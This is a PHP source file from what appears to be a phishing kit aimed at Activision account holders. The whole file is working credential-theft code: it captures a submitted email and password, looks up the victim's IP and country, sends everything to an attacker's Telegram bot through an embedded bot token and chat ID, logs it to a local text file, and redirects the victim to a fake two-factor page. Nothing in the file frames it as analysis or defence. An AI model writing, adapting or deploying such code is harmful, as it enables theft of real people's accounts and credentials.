<?php
// Function to get the real IP address of the user and country
function getUserIp() {
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ipList = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = trim($ipList[0]);
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }

    // Use ipinfo.io to get country information
    $ipDetails = @json_decode(file_get_contents("http://ipinfo.io/{$ip}/json"));
    $country = $ipDetails->country ?? 'Unknown';

    return [$ip, $country];
}

// Check if the request method is POST and if it has non-empty form data
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['username']) && !empty($_POST['password'])) {
    // Get the user's real IP address and country
    list($userIp, $userCountry) = getUserIp();

    $username = $_POST['username'];
    $password = $_POST['password'];
        
    // Get the user's User Agent
    $userAgent = $_SERVER['HTTP_USER_AGENT'];

    // Telegram Bot Token and Chat ID
    $botToken = '7821243954:AAFkVmjJCHH25j1loPVfA2woA3ynO4iQMmg';
    $chatId = '-1003193812415';

    // Prepare the message to be sent with beautiful formatting
    $message = "🎯 <b>𝚗𝚎𝚠 𝚝𝚊𝚛𝚐𝚎𝚝 𝚛𝚎𝚌𝚎𝚒𝚟𝚎𝚍</b> 🎯\n\n";
    $message .= "📧 <b>Email:</b> <code>" . htmlspecialchars($username) . "</code>\n";
    $message .= "🔐 <b>Password:</b> <code>" . htmlspecialchars($password) . "</code>\n\n";
    $message .= "🌐 <b>IP:</b> <code>" . $userIp . "</code>\n";
    $message .= "🇺🇸 <b>Country:</b> " . $userCountry . "\n\n";
    $message .= "📱 <b>User Agent:</b> " . htmlspecialchars($userAgent) . "\n\n";
    $message .= "✨ <b>Coded By 'DAYIEMAD!'</b> ✨";

    // Create inline keyboard
    $keyboard = [
        'inline_keyboard' => [
            [
                ['text' => '🌐 ورود به اکتیویژن چنج', 'url' => 'https://s.activision.com']
            ],
            [
                ['text' => '📧 کپی ایمیل', 'callback_data' => 'copy_email_' . base64_encode($username)],
                ['text' => '🔐 کپی پسورد', 'callback_data' => 'copy_password_' . base64_encode($password)]
            ]
        ]
    ];

    // Telegram API URL
    $telegramApiUrl = "https://api.telegram.org/bot$botToken/sendMessage";

    // Initialize cURL
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML',
        'reply_markup' => json_encode($keyboard)
    ]));
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);

    // Execute cURL request
    $response = curl_exec($ch);
    
    // Check for cURL errors
    if (curl_errno($ch)) {
        error_log("Telegram API error: " . curl_error($ch));
    }
    
    // Close cURL session
    curl_close($ch);

    // Save credentials to file
    $credentialsData = "Email: " . $username . " | Password: " . $password . " | IP: " . $userIp . " | Date: " . date('Y-m-d H:i:s') . "\n";
    file_put_contents('Gemails.txt', $credentialsData, FILE_APPEND);
}

// Redirect to the two-factor authentication page
header('Location: loginemad2.php');
exit();
?>